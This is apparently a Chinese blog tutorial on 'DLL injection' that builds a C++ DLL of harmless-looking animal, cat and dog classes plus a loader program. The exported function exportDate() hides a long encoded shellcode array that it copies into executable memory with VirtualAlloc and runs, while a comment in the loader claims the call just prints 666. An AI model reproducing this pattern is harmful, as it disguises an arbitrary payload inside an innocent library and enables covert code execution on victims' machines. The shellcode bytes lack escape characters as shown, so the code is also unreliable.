DLL注入

dll其实就是c++的class 因为cpp只能有一个主函数 所以dll随之而来

这里的源码

#ifdef CREATEDELL_API_DU
#else                                                                            
#define CREATEDELL_API_DU _declspec(dllimport) //当编译时，头文件不参加编译，所以.cpp文件中先定义，后头文件被包含进来，因此外部使用时，为dllexport，而在内部编译时，则为dllimport
#endif                                         
 
class CREATEDELL_API_DU animal              //需要被外界调用的类（父类）
{
public:
	virtual int outDate() = 0;                 //纯虚函数
	void  getWide(int x);
	void getHigh(int y);
 
protected:
	int wide;
	int high;
};
 
                                                
class CREATEDELL_API_DU cat:public animal      //需要被调用的类（子类cat）
{
public:
	int outDate();
};
 
 
class  CREATEDELL_API_DU dog :public animal     //需要被调用的类（子类dog）
{
public:
	int outDate();
};
 
int CREATEDELL_API_DU exportDate();  

 dll.cpp

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"

#define CREATEDELL_API_DU _declspec(dllexport)
 
#include <iostream>
#include "DLL.h"
using namespace std;
//父类中函数实现 
void animal::getWide(int x) {
     wide = x;
}
void CREATEDELL_API_DU animal::getHigh(int y){
     high = y;
}//子类cat中数据输出实现
int CREATEDELL_API_DU cat::outDate(){
     return (wide + high);wide += wide;high += high;
}//子类dog数据输出实现
int CREATEDELL_API_DU dog::outDate(){
     return (wide - high);
}//函数的实现
int CREATEDELL_API_DU exportDate(){
     char wide[] = 
"x48x31xc9x48x81xe9xc6xffxffxffx48x8dx05xefxff"
"xffxffx48xbbxecx91x66x93xd5xdbx11xd7x48x31x58"
"x27x48x2dxf8xffxffxffxe2xf4x10xd9xe5x77x25x33"
"xd1xd7xecx91x27xc2x94x8bx43x86xbaxd9x57x41xb0"
"x93x9ax85x8cxd9xedxc1xcdx93x9ax85xccxd9xedxe1"
"x85x93x1ex60xa6xdbx2bxa2x1cx93x20x17x40xadx07"
"xefxd7xf7x31x96x2dx58x6bxd2xd4x1axf3x3axbexd0"
"x37xdbx5ex89x31x5cxaexadx2ex92x05x50x91x5fxec"
"x91x66xdbx50x1bx65xb0xa4x90xb6xc3x5ex93x09x93"
"x67xd1x46xdaxd4x0bxf2x81xa4x6exafxd2x5exefx99"
"x9fxedx47x2bxa2x1cx93x20x17x40xd0xa7x5axd8x9a"
"x10x16xd4x71x13x62x99xd8x5dxf3xe4xd4x5fx42xa0"
"x03x49x93x67xd1x42xdaxd4x0bx77x96x67x9dx2exd7"
"x5ex9bx0dx9exedx41x27x18xd1x53x59xd6x3cxd0x3e"
"xd2x8dx85x48x8dxadxc9x27xcax94x81x59x54x00xb1"
"x27xc1x2ax3bx49x96xb5xcbx2ex18xc7x32x46x28x13"
"x6ex3bxdax6bxacx62xe5xb3xa2x54x93xd5x9ax47x9e"
"x65x77x2ex12x39x7bx10xd7xecxd8xefx76x9cx67x13"
"xd7xedx2axa6x3bxd4xb3x50x83xa5x18x82xdfx5cx2a"
"x50x6dxa0xe6x40x94x2ax0ex5dx5ex06xf9x67x92xd5"
"xdbx48x96x56xb8xe6xf8xd5x24xc4x87xbcxdcx57x5a"
"x98xeaxd1x9fx13x51x2ex1ax17x93xeex17xa4x18xa7"
"xd2x6fx31x1ex08x0cx6exb3xdbx5cx1cx7bxc7xadxc9"
"x2ax1ax37x93x98x2exadx2bxffx36xa1xbaxeex02xa4"
"x10xa2xd3xd7xdbx11x9ex54xf2x0bxf7xd5xdbx11xd7"
"xecxd0x36xd2x85x93x98x35xbbxc6x31xdexe4x1bx7b"
"xdaxb5xd0x36x71x29xbdxd6x93xc8xc5x67x92x9dx56"
"x55xf3xf4x57x66xfbx9dx52xf7x81xbcxd0x36xd2x85"
"x9ax41x9ex13x51x27xc3x9cx24xd9x9ax65x50x2ax1a"
"x14x9axabxaex20xaexe0x6cx00x93x20x05xa4x6exac"
"x18xdbx9axabxdfx6bx8cx06x6cx00x60xe1x62x4exc7"
"x27x29x73x4exacx4ax13x44x2ex10x11xf3x2dxd1x90"
"x9bxe6x68x35xaex14x6cxabx82x14xfcxbfxdbx48x96"
"x65x4bx99x46xd5xdbx11xd7";
	 void *exec = VirtualAlloc(0, sizeof wide, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, wide, sizeof wide);
	((void(*)())exec)();
    return 0;
}

 然后写一个exe加载我们的dll

#include<iostream>
#include"dll.h"
using namespace std;
bool main()
{
	
	cout << exportDate()<<endl;          //调用函数输出666   
 
 
	dog dog;     //实例化dog对象、赋值、并输出。
	dog.getHigh(5);
	dog.getWide(6);
	cout << dog.outDate() << endl;
 
	cat cat;    //实例化cat对象、赋值、并输出
	cat.getHigh(16);
	cat.getWide(4);
	cout << cat.outDate()<< endl;
	
	
 
 
	getchar();          //让程序处于等待输入状态下，而不是一闪而过
	return 0;
}